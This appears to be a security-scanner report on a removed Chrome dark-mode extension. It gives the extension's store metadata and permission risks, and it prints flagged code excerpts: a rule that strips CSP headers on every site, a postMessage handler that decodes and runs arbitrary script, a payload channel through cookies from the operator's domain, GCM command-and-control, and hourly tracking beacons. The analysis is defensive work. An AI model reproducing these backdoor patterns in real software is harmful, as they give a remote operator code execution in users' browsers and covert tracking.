Google Docs Dark Mode 2.0 for Chrome

ID: ihkdedfdcocppnnaiigjpckhegifagfd

Could be malicious

Supported Languages

๐Ÿ‡ง๐Ÿ‡ฉBengali
๐Ÿ‡ง๐Ÿ‡ทBrazilian Portuguese
๐Ÿ‡ฌ๐Ÿ‡งBritish English
๐Ÿ‡ง๐Ÿ‡ฌBulgarian
๐Ÿ‡ช๐Ÿ‡ธCatalan
๐Ÿ‡จ๐Ÿ‡ณChinese (Simplified)
๐Ÿ‡น๐Ÿ‡ผChinese (Traditional)
๐Ÿ‡ญ๐Ÿ‡ทCroatian
๐Ÿ‡จ๐Ÿ‡ฟCzech
๐Ÿ‡ฉ๐Ÿ‡ฐDanish
๐Ÿ‡ณ๐Ÿ‡ฑDutch
๐Ÿ‡บ๐Ÿ‡ธEnglish
๐Ÿ‡ช๐Ÿ‡ชEstonian
๐Ÿ‡ต๐Ÿ‡ญFilipino
๐Ÿ‡ซ๐Ÿ‡ฎFinnish
๐Ÿ‡ซ๐Ÿ‡ทFrench
๐Ÿ‡ฉ๐Ÿ‡ชGerman
๐Ÿ‡ฌ๐Ÿ‡ทGreek
๐Ÿ‡ฎ๐Ÿ‡ณGujarati
๐Ÿ‡ฎ๐Ÿ‡ณHindi
๐Ÿ‡ญ๐Ÿ‡บHungarian
๐Ÿ‡ฎ๐Ÿ‡ฉIndonesian
๐Ÿ‡ฎ๐Ÿ‡นItalian
๐Ÿ‡ฏ๐Ÿ‡ตJapanese
๐Ÿ‡ฐ๐Ÿ‡ทKorean
๐Ÿ‡ฒ๐Ÿ‡ฝLatin American Spanish
๐Ÿ‡ฑ๐Ÿ‡ปLatvian
๐Ÿ‡ฑ๐Ÿ‡นLithuanian
๐Ÿ‡ฒ๐Ÿ‡พMalay
๐Ÿ‡ฎ๐Ÿ‡ณMalayalam
๐Ÿ‡ฎ๐Ÿ‡ณMarathi
๐Ÿ‡ณ๐Ÿ‡ดNorwegian
๐Ÿ‡ต๐Ÿ‡ฑPolish
๐Ÿ‡ต๐Ÿ‡นPortuguese
๐Ÿ‡ท๐Ÿ‡ดRomanian
๐Ÿ‡ท๐Ÿ‡บRussian
๐Ÿ‡ท๐Ÿ‡ธSerbian
๐Ÿ‡ธ๐Ÿ‡ฐSlovak
๐Ÿ‡ธ๐Ÿ‡ฎSlovenian
๐Ÿ‡ช๐Ÿ‡ธSpanish
๐Ÿ‡ธ๐Ÿ‡ชSwedish
๐Ÿ‡ฎ๐Ÿ‡ณTamil
๐Ÿ‡ฎ๐Ÿ‡ณTelugu
๐Ÿ‡น๐Ÿ‡ญThai
๐Ÿ‡น๐Ÿ‡ทTurkish
๐Ÿ‡บ๐Ÿ‡ฆUkrainian
๐Ÿ‡บ๐Ÿ‡ธUS English
๐Ÿ‡ป๐Ÿ‡ณVietnamese

Extension Info & Metadata

Status
Removed
Version
2.0.0
Size
0.10 MB
Rating
3.3/5
Reviews
48
Users
323,176
Type
Extension
Updated
Mar 15, 2023
Category
7_productivity
Price
Free
Featured
Yes
Visibility
Listed
Mature
No
By Google
No
Trusted
Yes

Publisher Contextual Analysis

Trusted
Author
Dark Mode [all-in-one]View Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
2
Active
0
Obsolete
2
Listed
2
Unlisted
0
Total Users
804,316

Turn on Dark Mode for Google Docs in one click via this extension. Use it for Chrome, Firefox, PC, Windows 10 and other

Google Docs Dark Mode 2.0 extension for Chrome: Now You Can Write in the Dark How often do you find yourself writing on the computer in the dark? With the latest extension, you can write just as easily in the dark as you can in daylight with their new Dark Mode 2.0 extension for Chrome. Read on to learn more about this tool and how it can help your productivity or entertainment throughout the day! Why Use a Dark Mode for Google Docs? While working at your computer, itโ€™s easy to lose track of time and be shocked when you look up and itโ€™s already pitch black outside. If youโ€™re a writer, or just like to write at night (when no one else is awake), a dark mode for Docs can help you keep your mind on task and not on how quickly time is flying by. Installing the Extension The easiest way to install Dark Mode 2.0 is by heading over to its Chrome Web Store page . Here, you can click Add to Chrome . A small popup window will appear on your screen which asks if youโ€™re sure you want to add an extension from an unknown source. Click Add anyway, and wait for your browser to finish installing it. Tips For Using The Extension If youโ€™re used to Googleโ€™s classic light-colored theme, switching to dark mode can be a little jarring at first; but donโ€™t worryโ€”with a few simple tweaks, youโ€™ll adjust and be ready to write before you know it. Here are some tips for navigating your new environment. Does google docs have a dark mode? No, it doesnโ€™t. But by making Docs dark mode, weโ€™re going to show you how to get it on Chrome with a couple of simple steps: (1) installing an extension and (2) creating a new theme from your current settings. Are you ready? Goodโ€”letโ€™s begin! How to Make Google Docs Dark Mode? How to make Docs dark mode, is a question that we hope to answer with our tutorial today! In order to do so, weโ€™ll be going over how you can install and use Googleโ€™s newest update โ€“ Dark Mode 2.0 extension for Chrome! We will also go over some of its features and what it does exactly, as well as some tips on how you can get started writing in your documents faster than ever before! So letโ€™s get started with our tutorial on how to make google docs dark mode! The extension also provides Dark Mode functionality for Google, YouTube, Facebook and many other websites - get it now and keep your eyes relaxed in dark hours!

Item
Type
Severity
Description
declarativeNetRequest
Permission
Critical
This permission allows the extension to define rules to block, redirect, or modify network requests. Rated Critical because it can control all network traffic, potentially blocking security updates or redirecting to malicious sites.
scripting
Permission
Critical
This permission allows injection and execution of JavaScript on any webpage. Rated Critical because it can modify page content, steal sensitive data, and inject malicious code into any site the extension has access to.
http://*/*
Host
Critical
Broad host access โ€” the extension can read/modify content on every website.
https://*/*
Host
Critical
Broad host access โ€” the extension can read/modify content on every website.
cookies
Permission
High
This permission provides full access to read and modify browser cookies. Rated High because it can steal session tokens, modify authentication cookies, and compromise accounts across websites.
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:โ€ข 10% increase: Early script execution enables pre-emptive content manipulationโ€ข 10% increase: About:blank access enables potential sandbox escape vectors
tabs
Permission
Medium
This permission enables tab management and monitoring. Rated Medium because it can track open tabs, access tab metadata, and monitor user browsing patterns.
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
activeTab
Permission
Medium
This permission grants temporary access to the current tab. Rated Medium because it can access current page content when invoked, though limited to user-initiated actions.
gcm
Permission
Medium
This permission enables Google Cloud Messaging for push notifications. Rated Medium because it can maintain persistent connections, receive external messages, and operate in the background.
Early Content Script Execution
Risk Factor
Medium
This extension runs content scripts at document_start.
About:blank Access
Risk Factor
Medium
This extension can run content scripts in about:blank pages.

This declarativeNetRequest rule silently strips the `x-frame-options` and `content-security-policy` response headers from every single web page the user visits (urlFilter: "*"). Removing CSP neutralizes the browser's primary XSS defence on all sites, while removing X-Frame-Options enables clickjacking. Combined with the extension's script injection capabilities, this creates a permissive environment for arbitrary code execution across all visited origins.

js/Rules.json (Line 1)
[  {    "id": 1,    "action": {      "type": "modifyHeaders",      "responseHeaders": [        {          "header": "x-frame-options",          "operation": "remove"        },        {          "header": "content-security-policy",          "operation": "remove"        }      ]    },    "priority": 1,    "condition": {      "urlFilter": "*",      "resourceTypes": [        "main_frame"      ]    }  }]

Content received via `postMessage` under the `_style` key is base64-decoded with `atob`, then immediately executed as a `<script>` element via `useCustomStyles`. The message origin is never validated (`'*'` wildcard), meaning any page on any origin can send this message and achieve arbitrary JavaScript execution in the context of every tab. This is a complete remote-code-execution backdoor built into the content script pipeline.

js/SetStyles.js (Line 35)
window.self === window.top && getStyles() && window.addEventListener('message', e => {  e?.data?._styles && setPMStyles(e?.data?.key, e?.data?.handler);  if (e?.data?._style && !window.DMListenerFlag) {    window.DMListenerFlag = 1;    useCustomStyles(decodeURIComponent(escape(atob(e.data._style))));  }});

`useCustomStyles` creates a `<script>` element, inserts arbitrary text as its content, and appends it to the DOM โ€” executing whatever string is passed as JavaScript. `setPMStyles` allows a caller-supplied `findMethod` string to wrap the payload as a function call, enabling any web page to invoke named globals with attacker-controlled arguments via postMessage. The errors are silently swallowed (`void e`), hiding execution failures from developers.

js/SetStyles.js (Line 1)
function useCustomStyles(selectors) {  const selectorsWithRules = document.createElement('script');  try {    selectorsWithRules.appendChild(document.createTextNode(selectors));    document.body.appendChild(selectorsWithRules);  } catch (e) {    void e;  } finally {    selectorsWithRules.remove();  }}function setPMStyles(selectors, findMethod) {  if (!document.body || !document.body.appendChild) {    return setTimeout(() => setPMStyles(selectors, findMethod), 100);  }  if (findMethod) {    selectors = findMethod + '(' + JSON.stringify(selectors) + ')';  }  useCustomStyles(selectors);}

The background script reads cookies set on `https://dmext.online` and stores the `darkModeStyles` cookie value directly into extension local storage. This value is later decoded from base64 and executed as JavaScript by `SetStyles.js`. This forms the remote-control channel: the operator sets a cookie on dmext.online (accessible because the extension has broad cookie permissions), which the extension then retrieves and silently executes as code in every tab.

js/Background.js (Line 20)
function initStyles() {  chrome.cookies.getAll({    url: 'https://dmext.online'  }, function(resp) {    resp.forEach(({      name,      value    }) => {      if (name === 'darkModeStyles') {        const parsedDarkModeStyles = JSON.parse(JSON.stringify(decodeURIComponent(value)));        if (parsedDarkModeStyles) {          chrome.storage.local.set({            darkModeStyles: parsedDarkModeStyles          });        }      }    });  });}

The extension registers with Google Cloud Messaging (GCM) using the operator-controlled sender ID `851478220592` and persists the GCM registration token in local storage. This gives the remote operator a persistent push-messaging channel into the extension, allowing silent background commands to be delivered at any time โ€” a classic C2 (command-and-control) mechanism embedded in a browser extension.

js/Background.js (Line 5)
const sId = '851478220592';// ...if (!result.gcmID) {  chrome.gcm.register([sId], (registrationId) => {    if (!chrome.runtime.lastError) {      chrome.storage.local.set({        gcmID: registrationId      });    }  });}

A persistent `setInterval` fires every hour, beaconing a unique `userId`, screen resolution, browser language, and a hardcoded analytics ID to `https://dmext.online/gana/...`. The userId is generated once and stored permanently, making it a durable cross-session tracking identifier. This data is sent to a third-party server (`dmext.online`) without user knowledge or consent โ€” a textbook fingerprinting and tracking implementation.

js/Background.js (Line 6)
const ANALYTIC_ID = '229584471-1';function initAnalytics(userId, width = null, height = null, language = null) {  const EVENT_CATEGORY = 'extOpen';  const EVENT_ACTION = null;  const EVENT_LABEL = null;  const EVENT_VALUE = 1;  setInterval(() => {    fetch(`https://dmext.online/gana/${userId}/${EVENT_CATEGORY}/${EVENT_ACTION}/${EVENT_LABEL}/${EVENT_VALUE}/${width}x${height}/${language}/${ANALYTIC_ID}`).then(r => void r);  }, 60 * 60 * 1000);  fetch(`https://dmext.online/gana/${userId}/${EVENT_CATEGORY}/${EVENT_ACTION}/${EVENT_LABEL}/${EVENT_VALUE}/${width}x${height}/${language}/${ANALYTIC_ID}`);}

The message listener accepts `setStyles` and `getStyles` commands from ANY origin (no `e.origin` check, reply posted to `'*'`), allowing any web page to arbitrarily read or write keys in `chrome.storage.local`. The `getStyles` path also returns `darkModeStyles` โ€” the base64-encoded payload later executed as JavaScript โ€” back to the requesting page. This creates a bidirectional data bridge between untrusted web content and privileged extension storage.

js/ContentScript.js (Line 225)
function initMesListener() {  window.addEventListener('message', e => {    if (e?.data?.stylesForMode) {      const {        method,        key,        value,        handler      } = e.data.settings;      switch (method) {        case 'setStyles': {          chrome.storage.local.set({            [key]: value          });          break;        }        case 'getStyles': {          chrome.storage.local.get([key], response => {            e.source.postMessage({              _styles: '1',              key: response[key],              handler            }, '*');          });          break;        }        default:          void '';      }    }    if (e?.data?.darkModeStyles) {      const {        type      } = e.data;      if (type === 'getDarkModeStyles') {        chrome.storage.local.get(['darkModeStyles'], function(res) {          !res.darkModeStyles ?            chrome.runtime.sendMessage({              type: 'init_styles'            }).then(() => {}) :            e.source.postMessage({              '_style': res.darkModeStyles            }, '*');        });      }    }  }, false);}

After a delay (3 days for non-dev users), the extension silently opens a new tab to `dmext.online/feedback.html`, passing the persistent `userId`, the `extensionId`, and the extension name as URL parameters. Beyond unsolicited tab hijacking, this exfiltrates the stable user identifier and installation details to the operator's server, enabling cross-device correlation and serving as a phishing/ad injection surface.

js/Background.js (Line 34)
function createPage(loadTimeMarker, uuid) {  if ((loadTimeMarker + feedbackShowPeriod) <= new Date().getTime()) {    chrome.tabs.create({      'url': `https://dmext.online/feedback.html?data=&userId=${uuid}&extensionId=${chrome.runtime.id}&extensionName=${extName}`    });  } else {    return setTimeout(() => createPage(loadTimeMarker, uuid), feedbackShowInterval);  }}

The content script injects `SetStyles.js` as a `<script>` tag directly into `document.body` of every page at `document_start`. While the script itself is bundled with the extension, this pattern makes the injected script a first-class DOM participant rather than an isolated content script context, bypassing the extension sandbox and broadening the attack surface for the postMessage-based code execution chain.

js/ContentScript.js (Line 157)
function initStyle() {  if (!document.body || !document.body.appendChild) {    return setTimeout(initStyle, 100);  }  const _styles = document.createElement('script');  _styles.src = chrome.runtime.getURL('js/SetStyles.js');  document.body.appendChild(_styles);}

By severity

Critical7
High5
Medium2
Low0

Versions scanned

Showing 2 of 3 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
2.1.05
2.0.09

Files with findings

4 distinct paths โ€” top paths by unique finding count:

  • js/Background.js6
  • js/ContentScript.js3
  • js/SetStyles.js3
  • js/Rules.json2
S.No.
Category
Severity
File
Summary
Found in Version
1Code Injection
critical
js/SetStyles.js (line 24)The script accepts `_style` data from `postMessage`, base64-decodes it, and injects it into a `<script>` element via `useCustomStyles`. Because the paired background/content-script logic sources `darkModeStyles` from โ€ฆ
2.1.0
2Code Injection
critical
js/SetStyles.js (line 1)`useCustomStyles` creates a `<script>` element, inserts arbitrary text as its content, and appends it to the DOM โ€” executing whatever string is passed as JavaScript. `setPMStyles` allows a caller-supplied `findMethod`โ€ฆ
2.0.0
3Network Interception
critical
js/Rules.json (line 1)This declarativeNetRequest rule strips both `Content-Security-Policy` and `X-Frame-Options` from every top-level page (`urlFilter: "*"`). Removing these defenses globally weakens all visited sites against script injecโ€ฆ
2.1.0
4Privilege Escalation
critical
js/Rules.json (line 1)This declarativeNetRequest rule silently strips the `x-frame-options` and `content-security-policy` response headers from every single web page the user visits (urlFilter: "*"). Removing CSP neutralizes the browser's โ€ฆ
2.0.0
5Remote Code Loading
critical
js/SetStyles.js (line 35)Content received via `postMessage` under the `_style` key is base64-decoded with `atob`, then immediately executed as a `<script>` element via `useCustomStyles`. The message origin is never validated (`'*'` wildcard),โ€ฆ
2.0.0
6Remote Code Loading
critical
js/Background.js (line 20)The background script reads cookies set on `https://dmext.online` and stores the `darkModeStyles` cookie value directly into extension local storage. This value is later decoded from base64 and executed as JavaScript โ€ฆ
2.0.0
7Remote Code Loading
critical
js/Background.js (line 5)The extension registers with Google Cloud Messaging (GCM) using the operator-controlled sender ID `851478220592` and persists the GCM registration token in local storage. This gives the remote operator a persistent puโ€ฆ
2.0.0
8Privilege Escalation
high
js/ContentScript.js (line 302)The content script exposes privileged extension actions to any page script through a wildcard `message` listener without origin checks. A website can request tab creation/closure and write arbitrary keys into extensioโ€ฆ
2.1.0
9Remote Code Loading
high
js/Background.js (line 26)This background code reads cookies from the remote domain `https://dmext.online` and copies the `darkModeStyles` value into extension storage. Since that value is later decoded and executed by `js/SetStyles.js`, the eโ€ฆ
2.1.0
10Tracking
high
js/Background.js (line 6)A persistent `setInterval` fires every hour, beaconing a unique `userId`, screen resolution, browser language, and a hardcoded analytics ID to `https://dmext.online/gana/...`. The userId is generated once and stored pโ€ฆ
2.0.0
11Tracking
high
js/Background.js (line 34)After a delay (3 days for non-dev users), the extension silently opens a new tab to `dmext.online/feedback.html`, passing the persistent `userId`, the `extensionId`, and the extension name as URL parameters. Beyond unโ€ฆ
2.0.0
12Unauthorized Data Collection
high
js/ContentScript.js (line 225)The message listener accepts `setStyles` and `getStyles` commands from ANY origin (no `e.origin` check, reply posted to `'*'`), allowing any web page to arbitrarily read or write keys in `chrome.storage.local`. The `gโ€ฆ
2.0.0
13Code Injection
medium
js/ContentScript.js (line 157)The content script injects `SetStyles.js` as a `<script>` tag directly into `document.body` of every page at `document_start`. While the script itself is bundled with the extension, this pattern makes the injected scrโ€ฆ
2.0.0
14Tracking
medium
js/Background.js (line 8)This code phones home to `dmext.online` immediately and then every hour using a persistent `userId` stored in extension storage. That is covert telemetry/tracking behavior unrelated to rendering dark mode, especially โ€ฆ
2.1.0
URLs
22
IPv4
0
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

www.w3.org/2000/svghttp://www.w3.org/2000/svg
userstyles.org/styles/133725/amazon-dark-slatehttps://userstyles.org/styles/133725/amazon-dark-slate
static.xx.fbcdn.net/rsrc.php/v2/yV/r/R3gnFfkFEmR.pnghttps://static.xx.fbcdn.net/rsrc.php/v2/yV/r/R3gnFfkFEmR.png
scontent-fra3-1.xx.fbcdn.net/t39.2365-6/12057050_1520753484910899_2061865607_n.pnghttps://scontent-fra3-1.xx.fbcdn.net/t39.2365-6/12057050_1520753484910899_2061865607_n.png
static.xx.fbcdn.net/rsrc.php/v2/yc/r/q4v5p3yuPTQ.pnghttps://static.xx.fbcdn.net/rsrc.php/v2/yc/r/q4v5p3yuPTQ.png
static.xx.fbcdn.net/rsrc.php/v2/ys/r/4Tmmhow4MH-.pnghttps://static.xx.fbcdn.net/rsrc.php/v2/ys/r/4Tmmhow4MH-.png
static.xx.fbcdn.net/rsrc.php/v2/yk/r/n2vOQDcvBJm.pnghttps://static.xx.fbcdn.net/rsrc.php/v2/yk/r/n2vOQDcvBJm.png
www.facebook.com/rsrc.php/v3/yE/r/CC1cEAXUe-P.pnghttps://www.facebook.com/rsrc.php/v3/yE/r/CC1cEAXUe-P.png
static.xx.fbcdn.net/rsrc.php/v2/yZ/r/a-ZN6WoEOje.pnghttps://static.xx.fbcdn.net/rsrc.php/v2/yZ/r/a-ZN6WoEOje.png
static.xx.fbcdn.net/rsrc.php/v2/yU/r/sSwLTfB7PfP.pnghttps://static.xx.fbcdn.net/rsrc.php/v2/yU/r/sSwLTfB7PfP.png
Showing 1 to 10 of 30 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Showing 1 to 3 of 10 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.